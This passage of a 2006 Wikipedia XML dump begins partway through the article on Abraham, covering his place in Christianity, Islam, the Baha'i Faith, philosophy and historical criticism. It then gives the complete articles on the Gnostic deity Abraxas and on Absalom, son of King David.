Authors of the New Testament report that Jesus cited Abraham to support belief in the [[resurrection]] of the dead. &quot;But concerning the dead, that they rise, have you not read in the book of [[Moses]], in the [[burning bush]] passage, how God spoke to him, saying, &quot;I am the God of Abraham, the God of Isaac, and the God of Jacob?&quot; He is not the God of the dead, but the God of the living. You are therefore greatly mistaken.&quot; ([[Gospel of Mark|Mark]] 12:26-27) &quot;By faith Abraham, when he was tested, offered up Isaac, and he who had received the promises offered up his only begotten son, of whom it was said, &quot;In Isaac your seed shall be called,&quot; concluding that God was able to raise him up, even from the dead, from which he also received him in a figurative sense.&quot; (''Hebrews'' 11:17-19)

The [[Eastern Orthodoxy|Orthodox]], [[Baptist]] and traditional [[Protestant]] view in Christianity is that the chief promise made to Abraham in ''Genesis'' 12 is that through Abraham's seed, all the people of earth would be blessed. This promise was fulfilled through Abraham's seed, Jesus. It is also a consequence of this promise that Christianity is open to people of all races and not limited to the Jews.  

The [[Roman Catholic Church]] calls Abraham &quot;our father in Faith,&quot; in the [[Eucharistic prayer]] called the ''Roman Canon'', recited during the [[Mass]].  (See [[Abraham in Liturgy]]).

Christian tradition sees Abraham as a figure of God, and Abraham's attempt to offer up [[Isaac]] is a foreshadowing of [[God]]'s offering of his Son, [[Jesus]] (Gen. 22:1-14; Heb. 11:17-19). Just as Isaac carried wood for the sacrifice up the mountain and willingly submitted to being offered, so Jesus carried his [[Cross]] up the hill and allowed himself to be [[crucified]].

==Abraham in Islam==
Abraham (called '''Ibrahim''') is very important in [[Islam]], both in his own right as prophet and as the father of the prophet [[Ishmael|Ismail]] (Ishmael), his firstborn son, who is considered the ''Father of the Arabs''. Abraham is considered one of the first and most important prophets of Islam, and is commonly termed ''Khalil Ullah'', Friend of God. (Islam regards most of the [[Old Testament]] &quot;patriarchs&quot; as [[prophets of Islam|prophets]] of God, and hence as Muslims.)  

The faith of Abraham is called [[Millat-e-Ibrahim]] in the [[Qur'an]]. Muslims believe that Abraham was a prophet of God, in accordance with the narrative of his life in the [[Qur'an]]. In the Qur'an, Muslims are instructed to pray facing in the direction of the [[Ka'bah]] in [[Mecca]], which is described as having been built by Abraham and his son Ismail ([[al-Baqara|Qur'an 2]]:125). Abraham also takes an important role in one of the [[Pillars of Islam]], the [[Hajj]], which is a pilgrimage to the Holy Mosque. A part of the Hajj is a commemoration of the sacrifice of the wife of Abraham, Hagar, for her son Ismail, when Abraham had settled his wife and son in the valley of Mecca by God's order to pioneer a civilization. (It was from this civilization that the final prophet of Islam, [[Muhammad]], was later born)

Muslims have a specific ''[[dua]]'' that (in some traditions) they recite daily which asks God to bless both Abraham and [[Muhammad]]. Islamic prayer, [[Salat]], that occurs five times a day, also includes many parts that ask God for his blessings upon Abraham; the most in the prayer. According to Islamic tradition, he is buried in [[Hebron]]. In the [[Masjid al Haram]] in [[Mecca]], there is an area known as the &quot;station of Ibrahim&quot; (''Maqam Ibrahim'' مقام), which bears an impression of his footprints.

There are numerous references to Abraham in the Qur'an. According to the Qur'an, Abraham is the spritual father of all the believers.  He is mentioned as an upright person who was neither a polytheist nor a Christian or a Jew ([[Al Imran|Qur'an 3]]:67). An example is like the one below:

&lt;blockquote&gt;
''O ye who believe! Bow down and prostrate yourselves, and worship your Lord, and do good, that haply ye may prosper And strive for Allah with the endeavor which is His right. He hath chosen you and hath not laid upon you in religion any hardship; the faith of your father Abraham (is yours). He hath named you Muslims of old time and in this (Scripture), that the messenger may be a witness against you, and that ye may be witnesses against mankind. So establish worship, pay the poor due, and hold fast to Allah. He is your Protecting Friend. A blessed Patron and a blessed Helper.'' ([[Al-Hajj|Qur'an 22]]:78)
&lt;/blockquote&gt;

According to the Qur'an, Abraham reached the conclusion that anything subject to disappearance could not be worthy of worship, and thus became a [[monotheist]] ([[Al-An'am|Qura'n 6]]:76-83). While some Muslims &amp;mdash; like Jews &amp;mdash; believe that Azar who was an idol-maker was the father of Abraham, majority of the Muslims believe that Tarakh was his father and Azar was Abraham's uncle [http://al-islam.org/encyclopedia/chapter5a/8.html (Father of Ibrahim).] Abraham broke his uncle's idols, calling on his community to worship God instead. They then cast him into a fire, which miraculously failed to burn him ([[as-Saaffat|Qur'an 37]]:83-98). The well-known but wholly non-canonical ''Qisas al-Anbiya'' ([[Ibn Kathir]]) records considerably more detail about his life, which are commonly referred to in Islamic accounts of his life.

Traditionally, Muslims believe that it was [[Ishmael]] rather than [[Isaac]] whom Abraham was told to sacrifice.  In support of this, Muslims note that the text of [[Genesis (Hebrew Bible)|Genesis]], despite specifying Isaac, appears to state that Abraham was told to sacrifice his only son (&quot;Take now thy son, thine only son, whom thou lovest, even Isaac,&quot; [http://www.breslov.com/bible/ Jewish Publication Society] translation, Genesis/Bereshit 22:2) to God. Since Isaac was Abraham's second son, it is arguable there was no time at which he would have been Abraham's &quot;only son&quot;, and that this supports the Muslim belief that there was an original text that must have named Ishmael rather than Isaac as the intended sacrifice. The [[Qur'an]] itself does not specify by name which son Abraham nearly sacrificed saying only that it was his only son ([[As-Saaffat|Qur'an 37]]:99-111). Isaac ([[Ishaq]] in Islam) is also considered a prophet in Islam.

Also, unlike Jewish belief, Muslims note that nowhere in the Qur'an does God say that it was He who told Abraham to sacrifice his son nor does God say He gave Abraham the dream of the sacrifice. The Qur'an teaches that God never advocates evil. Thus, it is said that for a father to slaughter his son, is an evil that cannot be coming from God; it can only come from [[Satan]]. Furthermore, Muslims state that God would not contradict Himself and, therefore, would not order Abraham to commit what he prohibited, even as a test. Since Abraham thought the dream was from God and he proceeded to sacrifice his son Ismail, God sent him the lamb to be sacrificed instead, and to save Ismail and the father-son sacred relationship. Furthermore, Muslims believe that God promised to protect His righteous believers from Satan's tricks, and he saved Abraham and his son, Ismail, from this exact test.

It is believed that Ibrahim's dream was a test from God. And when Ibrahim told his dream to Ismail, it was Ismail who convinced Ibrahim to fulfill God's order. So this was test for both Ibrahim, whom had longed for a son for such a long time, and for Ismail. When the devil teased them before the sacrifice, Ibrahim and Ismail threw stones at the devil. This reincarnated as jumrah, one of the rites undertaken by Muslims making the Hajj (pilgrimage). The entire episode of the sacrifice is regarded as a trial that Abraham had to face from God. It is celebrated by Muslims on the day of [[Eid ul-Adha]].

==Abraham in the Bahá'í Faith==
Bahá'ís believe that Abraham was a &quot;[[Manifestation of God]],&quot; or one in a line of prophets who have revealed the Word of God progressively for a gradually maturing humanity. In this way, Abraham shares an exalted station with [[Moses]], [[Buddha]], [[Jesus]], [[Muhammad]], [[the Báb]], and the founder of the [[Bahá'í Faith]], [[Bahá'u'lláh]]. In addition, Bahá'u'lláh, a Persian, is claimed to be descended from Abraham through Abraham's wife [[Keturah]], asserting the Bahá'í Faith the same organic connection to Abraham that is claimed by Judaism and Christianity (through Sarah) and Islam (through Hagar).

==Abraham in the Hindu belief==
Theories speculate that Abraham may also be connected with Hinduism, remembered as the god Brahma, or Ram (who could have been called &quot;Ab Ram&quot; or &quot;Father Ram.&quot; Striking coincidences fuel this theory: Abraham, who was known earlier in life as &quot;Abram&quot; was married to Sarah, who had changed her name from Sarai. In Hindu belief, &quot;Brahma&quot; was married to &quot;Saraisvati.&quot; Additionally, Abraham and Sarah were both relatives and spouses; the same was true of Brahma and Saraisvati. Abraham is also claimed to be the founder of the ancient Sabean religion. 

==Abraham in philosophy==
Abraham, as a man communicating with God or the divine, has inspired some fairly extensive discussion in some [[philosopher]]s, such as [[Søren Kierkegaard]] and [[Jean-Paul Sartre]].  Kierkegaard goes into Abraham's plight in considerable detail in his work ''[[Fear and Trembling]]''.  Sartre understands the story not in terms of Christian obedience or a &quot;teleological suspension of the ethical&quot;, but in terms of mankind's utter behavioral and moral freedom. God asks Abraham to sacrifice his only son. Sartre doubts that Abraham can know that the voice he hears is really the voice of his God and not of someone else, or the product of a mental condition. Thus, Sartre concludes, even if there are signs in the world, humans are totally free to decide how to interpret them.

==Abraham and his descendants (Biblical Perspective) ==
''For a full account of the '''historicity''' of Abrahamic stories in the book of'' [[Genesis]], ''see'' [[The Bible and history#The Patriarchs|Historicity of the Patriarchs]].

Biblical narratives represent Abraham as a wealthy, powerful and supremely virtuous man, but humanly flawed, and when afraid for himself, miscalculating, and a sometimes deceiver and an inconsiderate husband. But his central importance in the book of Genesis, and his portrait as a man favored by God, is unequivocal.  Abraham's generations (Hebrew: ''[[toledoth]]'', translated to Greek: &quot;Genesis&quot;) are presented as part of the crowning explanation of how the world has been fashioned by the hand of God, and how the boundaries and relationships of peoples were established by him.

As the father of Isaac and Ishmael, Abraham is ultimately the common ancestor of the [[Israelites]] and their neighbours. As the father of [[Ishmael]], whose twelve sons became desert princes (most prominently, [[Nebaioth]] and [[Kedar]]), along with [[Midian]], [[Sheba]] and other [[Arab]]ian tribes (25:1-4), the book of Genesis gives a portrait of Isaac's descendants as being surrounded by kindred peoples, who are also oft-times enemies.  It seems that some degree of kinship was felt by the [[Hebrews]] with the dwellers of the more distant south, and it is characteristic of the genealogies that the mothers (Sarah, the Egyptian Hagar, and [[Keturah]]) are in the descending scale, perhaps of purity of blood, or as of purity of relationship, or of connectedness to Sarah: Sarah, her servant, her husband's other wife (or concubine). The Bible says of the Hebrew people: &quot;Your father was a wandering Syrian&quot;.

As stated above, Abraham came from Ur in [[Babylonia]] to Haran and thence to [[Canaan]]. Late tradition supposed that the [[Migration (human)|migration]] was to escape Babylonian idolatry ([[Judith]] 5, [[Jubilees]] 12; cf. [[Book of Joshua|Joshua]] 24:2), and knew of Abraham's miraculous escape from death (an obscure reference to some act of deliverance in [[Isaiah]] 29:22). The route along the banks of the [[Euphrates]] from south to north was so frequently taken by migrating tribes that the tradition has nothing improbable in itself. It was thence that [[Jacob]], the father of the tribes of Israel, came, and the route to [[Shechem]] and [[Bethel]] is precisely the same in both.  A twofold migration is doubted by some, but from what is known of the situation in [[Canaan]] in the [[15th century BC]], not at all impossible.

Further, there is yet another parallel in the story of the conquest by Joshua, partly implied and partly actually detailed (cf. also Joshua 8:9 with Gen. 12:8, 13:3), whence it would appear that too much importance must not be laid upon any [[ethnological]] interpretation which fails to account for the three versions. That similar traditional elements have influenced them is not unlikely; but to recover the true historical foundation is difficult. The invasion or immigration of certain tribes from the east of the [[Jordan]]; the presence of [[Aramean]] blood among the Israelites; the origin of the sanctity of venerable sites &amp;mdash; these and other considerations may readily be found to account for the traditions.

Noteworthy coincidences in the lives of Abraham and Isaac, such as the strong parallels between two tales of [[a wife confused for a sister]], point to the fluctuating state of traditions in the oral stage, or suggest that Abraham's life has been built up by borrowing from the common stock of popular lore. More original is the parting of Lot and Abraham at Bethel. The district was the scene of contests between [[Moab]] and the Hebrews (cf. perhaps [[Judges]] 3), and if this explains part of the story, the physical configuration of the [[Dead Sea]] may have led to the legend of the destruction of inhospitable and vicious cities.

===Arab connection===
Although historians have no non-religious evidence for Abraham's connection to the Arabs, and the historicity of Biblical accounts is questioned by academics (see [[The Bible and history]]), some believe that the area outlined as the final destination of Ishmael and his descendants (from Havilah to Assyria) refers to  Northern [[Arabia]].  The earliest known record of the connection of Abrahams son, Ishmael, to the Arabs is by the [[Jewish]] historian [[Josephus]], who approximately 2000 years after such events, asserted that Ishmael was the father of the &quot;Arab nation&quot; [http://www.blessedquietness.com/alhaj/append-1.htm].  Little other information exists to understand the basis for Josephus' statement or his understanding of what he meant by &quot;Arab nation&quot;, although one line in the [[Book of Jubilees]] (20:13) also mentions the tradition.

This has led to the notion of identifying Abraham as the father of the Arabs through Ishmael.  In addition, Abraham's next wife, [[Keturah]], is said to have borne him a son named [[Midian]] who became father of the [[Midianites]][http://www.keyway.ca/htm2002/midian.htm].  The Midianites are also identified with the Arabs as they are said to have settled east of the [[Jordan River]][http://www.brow.on.ca/Books/Ishmael/Ishpost.htm]. In recent times some Christian polemical writers have insisted these claims are spurious and entirely made up by Muslims, although, they existed long before Islam arrived.  Some have claimed that all of Ishmael's descendants in fact died out; and that most Arabs are descended from Joktan.  The subject continues to be a source of controversy.

==Modern historical criticism==
Writers have regarded the life of Abraham in various ways. He has been viewed as a [[chieftain]] of the [[Amorites]], as the head of a great [[Semitic]] migration from [[Mesopotamia]]; or, since Ur and Haran were seats of [[Moon]]-worship, he has been identified with a moon-god.  From the character of the literary evidence and the locale of the stories it has been held that Abraham was originally associated with Hebron. The double name Abram/Abraham has even suggested that two personages have been combined in the Biblical narrative; although this does not explain the change from Sarai to Sarah. 

The narratives are not contemporary, and the interesting discovery of the name ''Abi-ramu'' (Abram) on Babylonian contracts of about [[2000 BC]] does not prove the Abram of the Old Testament to be an historical person, even as the fact that there were [[Amorites]] in Babylonia at the same period does not make it certain that the patriarch was one of their number.  One remarkable chapter associates Abraham with kings of [[Elam]] and the east (''Genesis'' 14). No longer a peaceful sheikh but a warrior with a small army of 318 followers, he overthrows a combination of powerful monarchs who have ravaged the land. The genuineness of the narrative has been strenuously maintained, although upon insufficient grounds.

On the assumption that a recollection of some invasion in remote days may have been current, considerable interest is attached to the names. Of these, [[Amraphel]], king of [[Shinar]] (i.e., Babylonia, ''Genesis'' 10:10), has been in the past identified with [[Hammurabi]], one of the greatest of the Babylonian kings (ca. 2000 BC), and since he claims to have ruled as far west as the [[Mediterranean Sea]], the equation has found considerable favour. Apart from chronological difficulties, the identification of the king and his country is far from certain, and at the most can only be regarded as possible. [[Arioch]], king of [[Ellasar]], has been connected with [[Eriaku of Larsa]] &amp;mdash; the reading has been questioned &amp;mdash; a contemporary with Hammurabi.  [[Chedorlaomer]], king of Elam, bears what is doubtless a genuine [[Elamite]] name, Kudur-Lagamer. Finally, the name of [[Tid'al]], king of [[Goiim]], may be identical with a certain [[Tudhulu]], the son of Gazza, a warrior, but apparently not a king, who is mentioned in a Babylonian inscription, and has been connected by others with [[Tudhaliya]], a predynastic Hittite king.  Goiim (the Hebrew for &quot;gentiles&quot; or &quot;nations&quot;) may also stand for Gutim, the [[Guti]] being a people who lived to the east of [[Kurdistan]]. Nevertheless, there is as yet no monumental evidence for the genuineness of the story, and the most that can be said with certainty is that the author (of whatever date) has derived his names from a trustworthy source, and in representing an invasion of Canaan by Babylonian overlords, has given expression to a possible situation. It may be that only the bare outlines are historical. If it is a historical romance (cf., e.g., the book of Judith), it is possible that a writer who lived in the [[post-exilic]] age, and was acquainted with Babylonian history, decided to enhance the greatness of Abraham by exhibiting his military success against the monarchs of the [[Tigris]] and [[Euphrates]], the high esteem he enjoyed in Canaan, and the practical character displayed in his brief exchange with [[Melchizedek]]. The historical section of the article [[Tithe]] provides more evidence on the historicity of the meeting with Melchizedek.

Several minimalist professors of archaeology claim that many stories in the Old Testament, including important chronicles about Abraham, [[Moses]], and others, were actually made up by scribes hired by King [[Josiah]] ([[7th century BC]]) in order to rationalize monotheistic belief in Yahweh. Mimimalists claim that the neighboring countries that kept many written records, such as Egypt, Assyria, etc., have no writings about the stories of the Bible or its main characters before [[650 BC]], and vehemently dispute the validity of any evidence to the contrary. Such claims are detailed in &quot;Who Were the Early Israelites?&quot; by William G. Dever, (William B. Eerdmans Publishing Co., Grand Rapids, MI, 2003). Another such book by Neil A. Silberman and colleagues is &quot;The Bible Unearthed,&quot; (Simon and Schuster, New York, 2001). Of course, the historical annals and tributes to &quot;great kings&quot; are not well-served by preserving great defeats by their enemies (in this case, the Hebrews), and therefore, such records are understandably scanty. Also, many great kings did not long survive great defeats, as it was a sign to their followers that these &quot;great leaders&quot; had lost the favor of their God, gods and goddesses, and the kings were quickly assassinated and replaced.

==References==
* [[1911 Encyclopedia Britannica]].
* [[Genesis]]
* [http://www.amazon.com/exec/obidos/tg/detail/-/0814736548 Hoffman, Joel M.  ''In the Beginning:   A Short History of the Hebrew Language'']

==See also==
*[[Abrahamic religions]]
*[[Abraham's bosom]]
*[[List of founders of major religions]]

==External links==
*[http://www.soundvision.com/info/hajj/abraham.asp Abraham in all three Abrahamic faiths]
*[http://www.hajj.ca/Ismail.html Abraham's sacrifice: an Islamic perspective] 
*[http://www.GospelTruth.info/ GospelTruth] -- God's promises to Abraham according to Christian belief
*[http://www.BiblicalArcheology.Net/ Biblical Archeology] -- Bible-related article about Abraham 
*[http://www.time.com/time/covers/1101020930/ The Legacy of Abraham] -- Time magazine cover story
*[http://www.islamfrominside.com/Pages/Tafsir/Tafsir%286-74_to_79%29.html Abraham's vision in the Qur'an]
*[http://www.clearvision.com.pk/perspectives.php?func=show&amp;id=8#_edn2 Millat-e-Ibrahim Abraham's Way] by [http://clearvision.com.pk ClearVisionPk]
*[http://speakingoffaith.publicradio.org/programs/2004/09/09_abraham/ Children of Abraham] -- episode of the weekly [[Minnesota Public Radio]] show ''[[Speaking of Faith]]''
* [http://www.biblicalstudies.org.uk/article_abraham.html ''Abraham'' by Rob Bradshaw] An extensive dictionary-style article.
* [http://www.biblicalstudies.org.uk/epn.html A.R. Millard &amp; D.J. Wiseman, eds., ''Essays on the Patriarchal Narratives''. Leicester: IVP, 1980. Hbk. ISBN: 0851117430.]

{{1911}}

[[Category:Abrahamic religions]]
[[Category:Christian prophets]]
[[Category:Islamic prophets]]
[[Category:Torah people]]

[[ar:ابراهيم]]
[[ca:Abraham]]
[[cs:Abrahám]]
[[de:Abraham]]
[[el:Αβραάμ]]
[[eo:Abraham]]
[[es:Abraham]]
[[et:Aabraham]]
[[fa:ابراهیم]]
[[fi:Abraham]]
[[fr:Abraham]]
[[gl:Abraham]]
[[he:אברהם אבינו]]
[[hr:Abraham]]
[[hu:Ábrahám]]
[[ia:Abraham]]
[[id:Nabi Ibrahim]]
[[it:Abramo (Bibbia)]]
[[ja:アブラハム]]
[[ko:아브라함]]
[[ku:Îbrahîm]]
[[la:Abraham]]
[[ms:Nabi Ibrahim a.s.]]
[[nl:Abraham]]
[[nn:Abraham]]
[[no:Abraham]]
[[pl:Abraham (Biblia)]]
[[pt:Abraão]]
[[ru:Авраам]]
[[sk:Abrahám]]
[[sr:Абрахам]]
[[sv:Abraham (patriark)]]
[[tl:Abraham]]
[[zh:亞伯拉罕]]</text>
    </revision>
  </page>
  <page>
    <title>Abraxas</title>
    <id>1437</id>
    <revision>
      <id>39605574</id>
      <timestamp>2006-02-14T16:43:30Z</timestamp>
      <contributor>
        <username>Msablic</username>
        <id>8725</id>
      </contributor>
      <minor />
      <comment>ref. to solar cycle (calendar), I don't really understand the text but it certainly does not refer to sunspots</comment>
      <text xml:space="preserve">{{otheruses}}
{{cleanup-date|August 2005}}
[[image:Abraxas.png|frame|right|Engraving from an Abraxas stone.]]
The word '''Abraxas''' (or '''Abrasax''' or '''Abracax''') was engraved on certain antique stones, called on that account '''Abraxas stones''', which were used as amulets or charms by [[Gnosticism|Gnostic]] sects. It was believed that Abraxas was the name of a god who incorporated both Good and Evil (God and [[Demiurge]]) in one entity, and therefore representing the [[monotheistic]] [[God]], singular, but (unlike e.g. the Christian God) not [[eutheism|omni-benevolent]]. Abraxas has been claimed to be both an [[Egypt]]ian god and a [[demon]], sometimes even being associated with the dual nature of [[Satan]]/[[Lucifer]].  This is possibly the origin of the word [[abracadabra]], although other explanations exist.

==Meaning==

:''&quot;The bird fights its way out of the egg. The egg is the world. Who would be born first must destroy a world. The bird flies to God. That God's name is Abraxas&quot;'' - [[Hermann Hesse]], ''[[Demian]]''
[[Image:Abraxas Artistic representationi.jpg|frame|left| Medieval Seal representing Abraxas]]
Abraxas was an [[Archon]] with a [[Chimera (mythology)|Chimera]]-like appearance (somewhat resembling a [[basilisk]]): he had the head of a [[rooster]] (or sometimes a king), the body of a man, and legs fashioned like [[snake]]s and sometimes depicted with a whip in his hand - a form referred to as the [[Anguipede]]. Abraxas was redeemed and rose above the seven spheres and now reigns beyond the worlds. There are references to Abraxas in several gnostic writings.

The letters of abraxas, in the [[Greek language|Greek]] notation, make up the number 365, and the [[Basilideans]] gave the name to the 365 orders of spirits which, as they conceived, emanated in succession from the Supreme Being.  These orders were supposed to occupy 365 heavens, each fashioned like, but inferior to that above it; and the lowest of the heavens was thought to be the abode of the spirits who formed Earth and its inhabitants, and to whom was committed the administration of its affairs.  

In addition to the word Abraxas and other mystical characters, they have often cabalistic figures engraved on them.  The commonest of these have the head of a fowl, and the arms and bust of a man, and terminate in the body and tail of a serpent. 

===Text from the Catholic Encyclopedia===
The study of Abraxas is, at first sight, as discouraging as it is possible to imagine. The name has been given to a class of ancient stone articles, of small dimensions, inscribed with outlandish figures and formulas, sometimes wholly indecipherable, specimens of which are to be found in almost every museum and private collection. These, for the most part, have hitherto resisted all attempts at interpretation, though it would be rash to conclude that a fuller knowledge may not solve enigmas which remain closed to us. 

The true name, moreover, is Abrasax, and not, as incorrectly written, Abraxas, a reading due to the confusion made by the Latins between Sigma and Xi. Among the early Gnostics, Abrasax appears to have had various meanings. Basilides gave this title to Almighty God, and claimed that the [[isopsephy|numerical value of its letters]] gave the sum of 365, because the Abrasax is enclosed in the [[solar cycle (calendar)|solar cycle]]. Sometimes the number 365 signifies the series of the heavens. In view of such imaginings, it is easy to guess at the course taken by an untrammelled Gnostic fancy, whereby its adherents strove to discover the meaning of the mysterious word. 

It is, however, an error to give the name Abrasax to all stones of Gnostic origin, as has been done up to the present day. It is not the name which applies to talismans, any more than the names of Jupiter and Venus apply to all ancient statues indiscriminately. Abrasax is the name given by the Gnostics to the Supreme Deity, and it is quite possible that we shall find a clue to its etymological meaning in the influences of numbers. The subject is one which has exercised the ingenuity of many savants, but it may be said that all the engraved stones to which the name is commonly given fall into three classes: 
#Abrasax, or stones of Basilidian origin.
#Abrasaxtes, or stones originating in ancient forms of worship, and adapted by the Gnostics to their peculiar opinions.
#Abraxoïdes, or stones absolutely unconnected with the doctrine of Basilides. 

Bellermann, following Montfaucon, made a tentative classification of Gnostic stones, which, however, is nowadays looked upon as wholly inadequate. His mistake consisted in wishing, as it were, to make a frontal attack on Gnosticism. Kopp, endowed with greater skill and patience, seems to have realized in some measure how wide the problem actually is. Ad. Franck and, quite lately, Moses Schwab have made diligent researches in the direction of the [[Cabbala]] (or Kabbala). &quot;The demonology devised by the Cabbalists&quot;; according to the former writer, &quot;was nothing more than a carefully thought out personification of the different degrees of life and intelligence which they perceived in external nature. All natural growths, forces, and phenomena are thus typified.&quot; The outline here furnished needs only to be extended indefinitely in order to take in quite easily the countless generations of Gnosticism. The whole moral and physical world, analyzed and classified with an inconceivable minuteness, will find place in it. Thence, also, will issue the bewildering catalogues of Gnostic personalities. 

The chief difficulty, however, arises from the nomenclature of Gnosticism, and here the &quot;Sepher Raziel&quot; supplies a first and valuable hint. &quot;To succeed in the operations of divination&quot;, it says, &quot;it is necessary to pronounce the mystic names of the planets or of the earth.&quot; In fact, stones of Gnostic origin often show designs made up out of the initial letters of the planets. Another parallel is still more suggestive. The [[Jew]]s, as is well known, would never pronounce the Ineffable Name, [[Jehovah]], but substituted either another name or a paraphrase; a rule which applied, not only to the Ineffable Name and its derivatives, but to others as well, ending, in order to evade the difficulty which arose, in a series of fantastic sounds which at first seem simply the outcome of a hopeless confusion. It became necessary to resort to permutations, to the use of other letters, to numerical and formal equivalents. The result was an outlandish vocabulary, only partially accounted for, yet one which nevertheless reveals in Gnosticism the existence of something more than mere incoherences. Very many secrets of Gnosticism remain unexplained, but it may be hoped that they will not always be shrouded in mystery. 

{{1911}}

{{Catholic}}

===Quotes===

====Tertullian :====

'Afterwards broke out the heretic Basilides. He affirms that there is a supreme Deity, by name Abraxas, by whom was created Mind, which in Greek he calls Nous; that thence sprang the Word; that of Him issued Providence, Virtue, and Wisdom; that out of these subsequently were made Principalities, powers, and Angels; that there ensued infinite issues and processions of angels; that by these angels 365 heavens were formed, and the world, in honour of Abraxas, whose name, if computed, has in itself this number. Now, among the last of the angels, those who made this world, he places the God of the Jews latest, that is, the God of the Law and of the Prophets, whom he denies to be a God, but affirms to be an angel. To him, he says, was allotted the seed of Abraham, and accordingly he it was who transferred the sons of Israel from the land of Egypt into the land of Canaan; affirming him to be turbulent above the other angels, and accordingly given to the frequent arousing of seditions and wars, yes, and the shedding of human blood. Christ, moreover, he affirms to have been sent, not by this maker of the world, but by the above-named Abraxas; and to have come in a phantasm, and been destitute of the substance of flesh: that it was not He who suffered among the Jews, but that Simon was crucified in His stead: whence, again, there must be no believing on him who was crucified, lest one confess to having believed on Simon. Martyrdoms, he says, are not to be endured. The resurrection of the flesh he strenuously impugns, affirming that salvation has not been promised to bodies.'

 

====Carl Jung :  The Seven Sermons to the Dead====

&quot;Abraxas speaketh that hallowed and accursed word which is life and death at the same time. Abraxas begetteth truth and lying, good and evil, light and darkness in the same word and in the same act. Wherefore is Abraxas terrible.&quot;

 

====E. A. Wallis Budge : ====

&quot;Abrasax represented the 365 Aeons or emanations from the First Cause, and as a Pantheus, i.e. All-God, he appears on the amulets with the head of a cock (Phoebus) or of a lion (Ra or Mithras), the body of a man, and his legs are serpents which terminate in scorpions, types of the Agathodaimon. In his right hand he grasps a club, or a flail, and in his left is a round or oval shield”

==External links==
*[http://www.occultopedia.com/a/abraxas.htm Occultopedia entry] 
*[http://www.jewishencyclopedia.com/view.jsp?artid=633&amp;letter=A Jewish encyclopedia entry]
*[http://altreligion.about.com/library/graphics/bl_abraxas.htm Images of Abraxas]
*[http://www.gnosis.org/library/7Sermons.htm The Seven Sermons to the Dead]
*[http://www.freewebs.com/navanath/seven_sermons.html SEPTEM SERMONES AD MORTUOS]

== References ==
*[[Abraxas Foundation]]

[[Category:Gnostic deities]]
[[Category:Singular God]]

[[de:Abraxas]]
[[es:Abraxas]]
[[fr:Abrasax]]
[[it:Abraxas]]
[[pl:Abraxas (mitologia)]]
[[pt:Abraxas]]
[[sv:Abraxas]]</text>
    </revision>
  </page>
  <page>
    <title>Absalom</title>
    <id>1438</id>
    <revision>
      <id>39859432</id>
      <timestamp>2006-02-16T10:00:21Z</timestamp>
      <contributor>
        <username>Gaurav1146</username>
        <id>132290</id>
      </contributor>
      <minor />
      <comment>fixed image size</comment>
      <text xml:space="preserve">:''[[Absalom, Absalom!]] is also a novel by [[William Faulkner]].''
:''Absalom is also a name given by [[Dryden]] to the [[Duke of Monmouth]], son of [[Charles II of England|Charles II]].  See [[Absalom and Achitophel]]''
:&quot;Absalom&quot; is the name of a science fiction story by [[Henry Kuttner]] anthologized in the collection ''[[Tomorrow, the Stars]]''.

[[Image:Absalom.jpg|right|thumb|200px|The Hanging of Absalom - Weft-silk watercolor by Faith Robinson Trumbull (1718-1780)]]

'''Absalom''' or '''Avshalom''' ('''&amp;#1488;&amp;#1463;&amp;#1489;&amp;#1456;&amp;#1513;&amp;#1473;&amp;#1464;&amp;#1500;&amp;#1493;&amp;#1465;&amp;#1501;''' &quot;Father/Leader of/is peace&quot;, [[Standard Hebrew]] '''Av&amp;#X161;alom''', [[Tiberian Hebrew]] '''&amp;#702;A&amp;#7687;&amp;#X161;&amp;#257;lôm'''), in the 
[[Bible]], is the third son of [[David]], king of [[kingdom of Israel|Israel]].  He was deemed 
the handsomest man in the kingdom.  

His sister [[Tamar (biblical figure)|Tamar]] had 
been raped by David's eldest son, [[Amnon]], who was in love with her.  Absalom, after waiting two years, revenged by sending his servants to murder Amnon at a feast to which he had invited all the king's sons (2 [[Books of Samuel|Samuel]] 13):

&quot;18. ''And she had a garment of divers colours upon her: for with such robes were the king's daughters that were virgins apparelled. Then his servant brought her out, and bolted the door after her.''

19. ''And Tamar put ashes on her head, and rent her garment of divers colours that was on her, and laid her hand on her head, and went on crying''.

20. ''And Absalom her brother said unto her, Hath Amnon thy brother been with thee? but hold now thy peace, my sister: he is thy brother; regard not this thing. So Tamar remained desolate in her brother Absalom's house''....

22. ''And Absalom spake unto his brother Amnon neither good nor bad: for Absalom hated Amnon, because he had forced his sister Tamar.''

23. ''And it came to pass after two full years, that Absalom had sheepshearers in Baalhazor, which is beside Ephraim: and Absalom invited all the king's sons.''

28. ''Now Absalom had commanded his servants, saying, Mark ye now when Amnon's heart is merry with wine, and when I say unto you, Smite Amnon; then kill him, fear not: have not I commanded you? be courageous, and be valiant.''&quot;


After this deed he fled to Talmai, &quot;king&quot; of [[Geshur]] (see Joshua 12:5 or 13:2), his maternal grandfather, and it was not until three years later that he was fully reinstated in his father's favour (see [[Joab]].) 

Four years after this he raised a revolt at [[Hebron]], the former capital.  Absalom was now the eldest surviving son of David, and the present position of the narratives (15-20)--after the birth of [[Solomon]] and before the struggle between Solomon and Adonijah---may represent the view that the suspicion that he was not the destined heir of his father's throne excited the impulsive youth to 
rebellion.  

All Israel and Judah flocked to his side, and David, attended only by the [[Cherethites]] and [[Pelethites]] and some recent recruits from Gath, found it expedient to flee.  
The priests remained behind in Jerusalem, and their sons Jonathan and Ahimaaz served as his spies.  Absalom reached the capital and took counsel with the renowned [[Ahithophel]].  
The pursuit was continued and David took refuge beyond the [[Jordan River]].  

A battle was fought in the &quot;wood of Ephraim&quot; (the name suggests a locality west of the Jordan) and Absalom's army was completely routed.  He himself, having long hair, was caught by his hair in the boughs of an oak-tree, and as David had strictly charged his men to deal gently with the young man, Joab was informed.  
What a common soldier refused to do even for a thousand shekels of silver, the king's general at once undertook.  
Joab thrust three spears through the heart of Absalom as he struggled in the branches and his ten armour-bearers came around and slew him.  
Despite the revolt, David was overwhelmed with [[grief]] and ordered a great heap of stones to be erected where he fell, whilst another monument near [[Jerusalem]] (not the modern &quot;Absalom Tomb&quot; - &quot;[[Yad Avshalom]]&quot; which is of later origin was erected by Avshalom in his lifetime to perpetuate his name 2 Samuel 18:

&quot;18. ''Now Absalom in his lifetime had taken and reared up for himself a monument, which is in the king's dale: for he said, I have no son to keep my name in remembrance: and he called the pillar after his own name: and it is called unto this day, Absalom's monument''.&quot;

[[Category:History of Jerusalem]]
[[Category:Tanakh people]]

[[da:Absalom]]
[[de:Absalom]]
[[eo:Abŝalom]]
[[fr:Absalom]]
[[gl:Abxalom]]
[[ia:Absalom]]
[[he:אבשלום בן דוד]]
